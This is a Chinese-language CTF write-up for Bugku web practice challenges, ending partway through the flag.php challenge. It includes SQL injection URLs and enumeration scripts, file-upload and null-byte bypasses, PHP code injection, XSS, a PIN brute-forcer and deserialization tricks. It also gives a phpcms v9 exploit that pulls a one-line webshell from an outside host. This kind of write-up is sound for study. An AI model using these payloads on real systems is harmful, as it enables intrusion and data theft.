CTF-練習平臺 Web writeup By Assassin [暫時完結]
簽到題
web2
檔案上傳測試
經典的題目,用burp抓包得到如下
然後我們更改一下上傳路徑然後用%00截斷一下即可
Content-Disposition: form-data; name="file"; filename="3.png%001.php"
計算題
改一下瀏覽器中的text的長度
Web3
進去一直彈框,沒完沒了…直接禁用了F12看原始碼,發現有一個
<!--KEY{J2sa4 ;2ahJK-HS11III}-->
估摸就是答案,格式轉換一下。
用python寫個簡單的指令碼即可
s='KEY{J2sa42ahJK-HS11III}'
key=s.split(';')
flag=''
for i in key:
flag+=chr(int(i[2:]))
print flag
sql注入
真的是sql注入啊,每一次都想不到寬位元組注入,給自己一個大大的巴掌!下面講題
首先我們看到了介面以後id是注入點,然後進行各種union select什麼的姿勢並沒有什麼卵用。然後好久好久才想到寬位元組注入!
實驗http://103.238.227.13:10083/index.php?id=%df%27 or 1%23
驗證了就是寬位元組注入,然後我們觀察可以看到給出的是id和key,那麼估計查詢的時候是兩個項,不信可以驗證一下
而且這裡也給了提示,我們注入的是key表,不行也可以用簡單的爆表驗證http://103.238.227.13:10083/index.php?id=%df%27 union select 1, table_name from information_schema.tables%23
然後我們查表的過程中會遇到一點小問題,key既是欄位名又是表明會產生衝突,我們要用“來包含住,payload如下
http://103.238.227.13:10083/index.php?id=%df%27 union select 1,string from `key` where id =1%23
然後就可以得到一個hash值,結果KEY{54f3320dc261f313ba712eb3f13a1f6d}
SQL注入1
本題坑了我很久。一開始思路偏了以為是盲注,但是大牛說想複雜了。而且之前因為一個;的問題一直沒結果。
就是字串的繞過,但是怎麼繞過?我們觀察這個函式
這個函式為了防止xss把 類似的標籤去掉了,那麼我們可以利用這個構造繞過sql的過濾。比如說
可以知道查詢確實只有兩列,類似的我們根據提示union查詢(注意)其實直接就出來了(我太弱了…)
payload:http://103.238.227.13:10087/index.php?id=-1 un<br>ion se<br>lect hash,1 fro<br>m `key`#
本地包含
哪門子本地包含啊,分明是某春秋原題…但是某春秋明顯伺服器的ubuntu的吧。但是貌似這個伺服器不是,不能執行bash指令,但是呼叫php的函式就好了。還是注入eval( “var_dump($a);”); 這句話。payload如下
http://post2.bugku.com/hello?hello=);print_r(file("./flag.php")); //
原題題解可以看這兒
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}
變數1
不說話,又是某春秋原題
原題題解還是可以看這兒
Web4
首先進入頁面,隨便輸入一個東西,提示仔細看,所以感覺應該是有什麼東西輸出但是一下子被刷掉了,用burp抓包看一下!發現果然有東西!
然後我們發現一段js指令碼用線上js執行器跑一下!
線上JS傳送門
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
var p3 =unescape(p1) + unescape('%35%34%61%61%32' + p2);
console.log( p3);
解密後得到程式碼
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
可以看到就是簡單的構造一下password唄~
Web5
怎麼介面還是一樣的???burp抓包發現成了這個…
直接用google的console就完事兒了…是叫brianfuck貌似?
flag在index裡
這個題目是檔案包含…告訴你flag在index.php中,但是沒有顯示,肯定被注入掉了,然後我們看到url是xxx?file=…,很像檔案包含,嘗試一下得到flag
phpcmsV9
這個是常見的php漏洞模板之一,花式cms之一,而且本次西安網賽線下賽正好除了phpcms9的漏洞,正好上手玩兒一下。
告訴你flag的位置,直接了當就是想到任意檔案上傳(本模板還有mysql注入漏洞)。
首先開啟網址
http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1
發現是會員的申請頁面,然後構造payload
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://file.codecat.one/normalOneWord.txt#.jpg>&dosubmit=1&protocol=
我們可以看到www.bugku.com/tools/phpyijuhua.txt就是我們小馬的地址了,最最簡單的一句話木馬了。然後上傳以後會返回mysql錯誤回傳地址,這裡放截圖(截圖和這個地址不匹配但是原理相似)
可以看到上傳成功,然後我們放上去真正的木馬!php檔案
這裡寫程式碼片
注意!這裡每一次提交的時候賬號密碼郵箱需要變換,否則會失敗
或者用Harry提供的工具,上傳小馬
然後上傳一次基本上你就被ban了,因為伺服器有基本的防護!沒關係,等一會再菜刀連結!!!就成功了!
實現了最最簡單的漏洞利用!!!
輸入密碼檢視flag
首先看到了頁面,輸入5位密碼數字得到flag,一看五位數字,那麼總共10萬種情況,直觀就是爆破,時間比較長,但是不需要懷疑人生,直接爆破即可,程式碼如下:
#coding:utf-8
import requests
url='http://120.24.86.145:8002/baopo/?yes'
value=[]
for i in range(0,99999):
if(len(str(i))<5):
value.append("0"*(5-len(str(i)))+str(i))
else :
value.append(str(i))
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in value:
data = {'pwd':i}
print 'trying',i
content = requests.post(url,data=data)
content.encoding='utf-8'
html=content.text
#print html
if html != patch:
print html
#print content.text.decode('gbk', 'ignore')
嫌速度太慢可以開多個執行緒,分段爆破,可以得到結果
得到flag:flag{bugku-baopo-hah}
前女友
首先看網頁原始碼可以找到連結
然後審計程式碼看到最簡單的php了
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
利用經典的md5 弱型別匹配和strcmp的陣列get漏洞,當strcmp(陣列,字串)==0,然後我們構造payload如下
http://47.93.190.246:49162/?v1=QNKCDZO&v2=240610708&v3[]=0
得到flag
SKCTF{Php_1s_tH3_B3St_L4NgUag3}
成績查詢
很久不做注入,最最簡單的注入都不會了…
先是嘗試union 查詢,測試列數,發現是四列
然後明顯四個都是注入點,常見的爆庫爆列即可
爆庫
id='union select (select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1),1,1,1#
爆表
id='union select (select table_NAME from information_schema.tables limit 40,1),1,1,1# #fl4g的成績單
爆列名因為太多了寫了個指令碼
#coding:utf-8
import requests
import re
url='http://120.24.86.145:8002/chengjidan/'
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in range(1,500):
data = {'id':"'union select (select column_NAME from information_schema.columns limit %d,1),1,1,1#"%i}
content = requests.post(url,data=data)
content.encoding='utf-8'
html=content.text
html=re.findall(r'<caption>(.*?)</caption>',html,re.S)
if len(html)>0:
print html[0][:-4]
也或者這麼查,簡單一些
id=-1' union select 1,2,3, group_concat(column_name) from information_schema.columns where table_name=0x666c3467#爆欄位
最後直接查詢即可,payload
id='union select (select skctf_flag from fl4g limit 0,1),1,1,1#
BUGKU{Sql_INJECT0N_4813drd8hz4}
同時這裡用了sqlmap post注入的方法,詳情請看
Web6
這個題目搞的我也是懵逼,一看思路就是發現headers中的flag,然後base64解密兩次post提交,寫一個指令碼就行了,但是呢,這裡需要主意一個問題。
觀察就會發現,每次訪問的時候cookie是會變化的…所以啊…用python寫指令碼的時候,需要加上會話…需要加上會話…需要加上會話…
指令碼如下:
#coding:utf-8
import requests,base64
import re
url='http://120.24.86.145:8002/web6/'
value=[0]*1000000
s=requests.Session()
content = s.post(url)
html = content.headers['flag']
flag = base64.b64decode(base64.b64decode(html)[-8:])
#print flag
data = {'margin':flag}
content = s.post(url,data=data)
print content.text
flag
KEY{111dd62fcd377076be18a}
Cookie欺騙???
簡單的cookie構造,首先看網頁是一個讀取檔案。其中我們可以看到filenamebase64加密後的內容,經過測試line是代表行數,然後我們嘗試讀取index.php本身。
#coding:utf-8
import requests,base64
import re
html=''
url='http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'
s=requests.Session()
for i in range(100):
content=s.get(url%i)
if content.text=='':
break
html+=content.text
得到index.php的原始碼如下
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
發現就是呀加上一個cookie,讓keys.php加入道檔案列表中,然後申請讀取keys.php即可,payload如下
#coding:utf-8
import requests,base64
import re
s=requests.Session()
cookies={'margin':'margin'}
content=s.get("http://120.24.86.145:8002/web11/index.php?line=0%d&filename=a2V5cy5waHA=", cookies=cookies)
print content.text
flag
KEY{key_keys}
XSS
我們看原始碼可以看到關鍵程式碼如下
<script>
var s=""; document.getElementById('s').innerHTML = s;
</script>
然後我們看淡變數s比肩關鍵,但是題目中是通過構造
http://103.238.227.13:10089/?id=xxxx
來改變s值的,雖然我不知道這是為啥….
然後我們搜尋關鍵程式碼吧,發現可以找到payload
http://103.238.227.13:10089/?id=\u003cimg src=1 onerror=alert(_key_)\u003e
因為直接構造<
不行,會用<
替換掉,插入的變成了純文字,所以就用這種方法。
http://103.238.227.13:10089/?id=\u003cimg%20src=1%20onclick=alert(_key_)\u003e
也行
never give up
進入介面不知道是啥,F12檢視原始碼,發現提示1p.html?然後試一下,發現自動跳轉到論壇去了。然後用burp抓一下包,發現
脫出來然後urldecode一下,發現一個base64的密文,解密後再進行urldecode,得到一段關鍵程式碼
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
太尼麻痴漢了…一直想去繞過,沒想起來直接去訪問就可以…
flag{tHis_iS_THe_fLaG}
但是正解是什麼呢!分為幾個關鍵點
1.最簡單的id==0 用0==字串繞過
2.
$data = @file_get_contents($a,'r');
$data=="bugku is a nice plateform!"
這個利用了file_get_contents的特性,當用到php://input的時候,file_get_contents支援位元組流輸入,只要將a設為php://input,且post過去bugku is a nice plateform!即可
3.strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4
strlen對%00不截斷,而eregi對%00截斷,只要構造b=%00+大於4位的串即可
welcome to bugkuctf
首先就能在F12中看到原始碼
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
果斷構造
發現沒什麼特別的,利用一下檔案包含,有反應了
base64解密得到
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
發現了經典的__toString事件,但是沒有觸發的條件啊!肯定是index.php還藏著東西,於是檢視得到
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
就是輸出反序列化的時候會觸發__toString屬性。那麼構造一下password值,自己寫個程式碼即可
flag{php_is_the_best_language}
過狗一句話
看到過狗一句話,一開始是以為要想辦法上傳這個一句話來著,但是發現不是,居然是可以直接利用的,嘗試http://120.24.86.145:8010/?s=phpinfo()
發現可以利用。
構造想讀取目錄,發現有一些坑,system(“ls”)讀出來,可能是讀取的方法被限制了吧,於是找到了用php讀取檔案列表的方法23333
http://120.24.86.145:8010/?s=print_r(glob("*"))
然後讀取flag.txt即可啦,嘗試print_r(file(flag.txt))
不可以最終找到 show_source的方法:
http://120.24.86.145:8010/?s=show_source("flag.txt")
BUGKU{bugku_web_009801_a}
各種繞過喲
首先就能看到原始碼
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
開始看錯了看成了==,這個正常來看是不可能的,因為===是嚴格的等號,但是sha1函式有個漏洞,不能處理陣列,於是如下構造得到flag
flag{HACK_45hhs_213sDD}
Web8
這個題目很簡單,用到了前面題目中講到的php中file_get_contents的特性可以使用位元組流。只需要構造如下得到flag
或說你那提示txt?到底算個什麼提示啊…
flag{3cfb7a90fc0de31}
字元?正則?
本題目考察的是正則表示式的應用,雖然很基礎…但是擋不住我不會啊…所以簡單查一下很快就做出來了,首先打開了網頁看到原始碼
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
最最關鍵的還是看preg_match中的內容嘛,這裡簡單講一下、需要用到的規則
- 1.表示式直接寫出來的字串直接利用,如key
- 2.“.”代表任意字元
- 3.“*”代表一個或一序列字元重複出現的次數,即前一個字元重複任意次
- 4.“\/”代表“/”
- 5.[a-z]代表a-z中的任意一個字元
- 6.[[:punct:]]代表任意一個字元,包括各種符號
- 7./i代表大小寫不敏感
- 8.{4-7}代表[0-9]中數字連續出現的次數是4-7次
然後我們自己按照規則胡亂構造一下就可以了
http://120.24.86.145:8002/web10/?id=keyssssskey4567key:/s/[email protected]
KEY{0x0SIOPh550afc}
考細心
不知道是個啥,反正先用dirsearch掃描一下來著,發現目錄
然後檢視robots.txt
檢視resusl.php
說實話然後我就矇蔽了,什麼操作???然後按照提示做了一下,想辦法變成admin…構造x=admin…結果…
flag(ctf_0098_lkji-s)
求getshell
首先想到%00的字串截斷,但是沒用,矇蔽了很久,最後忍不住看了一下大佬的思路。
首先我嘗試一下上傳圖片
發現上傳沒問題,我試圖吧filename改成php未果
php2, php3, php4, php5, phps, pht, phtm, phtml 均試下還是沒啥結果…
參考大佬的思路,先把上面的
Content-Type: multipart/form-data;
改成大小寫繞過的形式,改為Content-Type: Multipart/form-data;
,然後再一個一個地嘗試,發現php5可以利用 KEY{bb35dc123820e}
flag.php
對於此題目,我最不解的就是第一問…提示hint特麼居然有用…然後輸入
http://120.24.86.145:8002/flagphp/?hint=0
可以得到原始碼?抱著不知所然的同學們看到是不是要吐血???
得到原始碼
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">